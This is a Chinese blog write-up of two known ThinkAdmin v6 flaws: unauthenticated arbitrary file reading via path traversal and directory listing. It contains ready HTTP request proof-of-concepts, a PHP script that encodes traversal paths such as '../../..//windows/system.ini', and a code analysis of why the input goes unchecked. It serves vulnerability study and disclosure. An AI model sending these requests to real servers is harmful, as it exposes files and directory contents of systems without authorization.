首页 > 其他分享 >ThinkAdmin_v6两个简单漏洞(文件读取+信息泄露)

ThinkAdmin_v6两个简单漏洞(文件读取+信息泄露)

时间:2024-08-04 20:28:04浏览次数:14  
标签:文件 读取 路径 Accept ThinkAdmin v6 斜杠 函数

侵权声明

本文章中的所有内容(包括但不限于文字、图像和其他媒体)仅供教育和参考目的。如果在本文章中使用了任何受版权保护的材料,我们满怀敬意地承认该内容的版权归原作者所有。

如果您是版权持有人,并且认为您的作品被侵犯,请通过以下方式与我们联系: [[email protected]]。我们将在确认后的合理时间内采取适当措施,包括删除相关内容。

感谢您的理解与支持

POC

文件读取

//我读的是windows/system.ini
GET /public/index.php?s=admin/api.Update/get/encode/1a1a1b1a1a1b1a1a1b1b3b2x322s333b371b373d37382t311a2x322x HTTP/1.1
Host: demo.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

读取文件的路径需要编码

<?php  

  function encode($content)  
{  
  list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];  
for ($i = 0; $i < $length; $i++) {  
  $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);  
}  
return $chars;  
}  
//需要读取文件的路径 
$inputString = "../../..//windows/system.ini";  

// 调用函数并输出结果  
$encodedString = encode($inputString);  
echo $encodedString;  

?>

信息泄露

POST /public/index.php?s=admin/api.Update/node HTTP/1.1
Host: demo.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

rules=%5B%22.%2F%22%5D

漏洞分析

文件读取

输入进来的encode用input接收的,更进input()函数

image

没有过滤,执行了一条语句就退出了

image

继续更进decode()函数,是一个解密函数,刚好上面就是加密函数

image

getRootPath()函数是获取网址根目录的绝度路径,最终的读取的文件路径即为网址根目录加输入进来的路径
'content' => base64_encode(file_get_contents($file))最终路径的文件内容读出并进行base64编码,所以如果想看到文件真正的文件内容需要解码一下。

信息泄露

json_decode($this->request->post('rules', '[]', ''), true)将名为rules的参数通过post方法接收然后通过json_decode方法将内容转换成关联数组。效果就是'["./"]' -> ["./"]
之后更进getList()函数

image

其中$name = strtr(trim($rule, '\\/'), '\\', '/');作用是首先会去除 $rule 字符串两端的任何反斜杠和正斜杠,然后再将字符串中的所有反斜杠替换为正斜杠。最终,结果将会赋值给 $name
跟进scanList()函数

image

可以看到是先判断路径是否存在,之后判断是否为目录。之后的大概意思是判断是否为文件,如果是就保存到data中然后进行下一次递归调用即该路径的子目录。直到遍历完该路径下的所以文件和目录。

漏洞复现

文件读取

image

信息泄露

image

总结

问题有两点,一没有权限校验,二没有对输入的数据做过滤和检查

修复

跟着官方走,官方更新你就更新。这是最简单的。

参考

CVE-2020-25540:ThinkAdmin两个漏洞复现-腾讯云开发者社区-腾讯云 (tencent.com)


免责声明

本博客所提供的技术知识和信息仅旨在教育和分享网络安全最佳实践,促进网络安全意识的提升。作者严禁将这些技术和信息用于任何非法或不道德的目的。

使用本博客内容而导致的任何违法行为或后果,作者不承担任何法律责任。所有读者在使用本博客的信息时,应自行承担风险,并确保遵守当地法律法规。

我们鼓励所有读者合法地使用所提供的信息和技术,致力于维护安全和负责任的网络环境。

感谢您的理解与支持。

标签:文件,读取,路径,Accept,ThinkAdmin,v6,斜杠,函数
From: https://www.cnblogs.com/0kooo-yz/p/18342156

相关文章

  • Nexpose v6.6.263 for Linux & Windows - 漏洞扫描
    Nexposev6.6.263forLinux&Windows-漏洞扫描Rapid7VulnerabilityManagement,releaseJul31,2024请访问原文链接:https://sysin.org/blog/nexpose-6/,查看最新版。原创作品,转载请保留出处。您的本地漏洞扫描程序搜集通过实时覆盖整个网络,随时了解您的风险。......
  • 无法读取 chrome-error://chromewebdata/ 的源映射: Unexpected 503 response from ch
    欢迎来到英杰社区https://bbs.csdn.net/topics/617804998        欢迎来到我的主页,我是博主英杰,211科班出身,就职于医疗科技公司,热衷分享知识,武汉城市开发者社区主理人       擅长.net、C++、python开发,如果遇到技术问题,即可私聊博主,博主一......
  • 易优CMS模板标签screening文档筛选指定自定义字段读取筛选条件
    [基础用法]标签:screening描述:用于在列表页文档筛选场景(支持文章、产品、视频、图集以及自定义等模型)用法:{eyou:screeningid='field'currentclass='active'alltxt='不限'}<divclass="row"><divclass="filter-box"><......
  • 如何使用OpenAI的大模型(LLM)进行Twitter数据读取与分析
    在这篇文章中,我们将介绍如何使用大语言模型(LLM),特别是OpenAI的工具,来读取和分析Twitter上的数据。我们会结合一个具体的示例,展示如何使用中国中转API地址(http://api.wlai.vip)进行调用。1.什么是大语言模型(LLM)?大语言模型(LLM)是一种通过大量文本数据训练得到的强大自然语言处......
  • Python 警告:重试(重试(总计=4,连接=无,读取=无,重定向=无,状态=无))
    我正在尝试pipinstall--upgradepip并保持收到此错误:WARNING:Retrying(Retry(total=4,connect=None,read=None,redirect=None,status=None))afterconnectionbrokenby'ProxyError('Cannotconnecttoproxy.',NewConnectionError('<......
  • c++ 从txt读取数据gnss转化为enu数据
    https://github.com/Dongvdong/gnss_ecef_enu_txt_yaml  测试文件config.yaml#==============##CameraModel##==============#Camera.name:EH2022leftmonocularCamera.setup:monocularCamera.model:perspectiveCamera.fx:1220Camera.fy:1220Camera.cx:......
  • 4.3.6.7 读取PCD文件并在rviz中展示
    4.3.6.7读取PCD文件并在rviz中展示参考教程:读取PCD文件的点云并在RVIZ显示_rviz显示pcd点云-CSDN博客读取pcd文件并在rviz中进行显示_rviz看不到pcd-CSDN博客Hinson-A/pcd2pgm_package:点云pcd文件转二维栅格地图(github.com)ROS-PCL读取pcd点云数据并在rviz中进行显示_r......
  • 基于STC8H系列单片机的串口1打印片内EEPROM擦除数据、读取数据、写入数据功能调试
    基于STC8H系列单片机的串口1打印片内EEPROM擦除数据、读取数据、写入数据功能调试STC8H4K64TL单片机介绍STC8H4K64TL单片机管脚图(48个引脚)STC8H4K64TL单片机串口仿真与串口通信STC8H4K64TL单片机管脚图(32个引脚)STC8H4K64TL单片机管脚图(20个引脚)STC8H系列单片机管脚......
  • 如何在pandas中读取带有空格分隔值的文件
    我尝试将文件读入pandas。该文件具有由空格分隔的值,但空格数量不同我尝试过:pd.read_csv('file.csv',delimiter='')但不起作用可以使用sep='\s+'将具有不同空格数的空格分隔值读入pandasDataFrame。例如:importpandasaspddf=pd.read_csv('f......
  • 一个 API,用于读取带有特定描述的未读邮件,但在读取时删除标签 UNREAD
    我有一个Python脚本,它与GmailAPI交互,并搜索来自特定电子邮件地址、具有特定描述的未读邮件。但我想要它,所以当它读取邮件时,它会删除UNREAD标签,这样当我再次运行脚本时它就不会检测到它。from__future__importprint_functionimportpickleimportos.pathfromgoo......